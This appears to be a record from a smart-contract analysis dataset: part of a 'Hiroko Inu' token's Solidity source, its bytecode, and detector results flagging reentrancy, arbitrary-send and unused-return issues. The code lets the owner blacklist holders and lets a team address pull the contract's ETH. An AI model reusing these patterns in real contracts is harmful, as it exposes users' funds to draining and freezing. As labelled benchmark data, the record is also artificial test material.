type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f4869726f6b6f20496e7500000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550670de0b6b3a76400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f484f4b4f00000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b602d42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a46de973d489d1d7d4f5cb04b6e868e90e46d30a76c2d2e12f4455f84a0afc2264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,214
0xbead01bd984640959f840ff9b4fce44451c1ff91
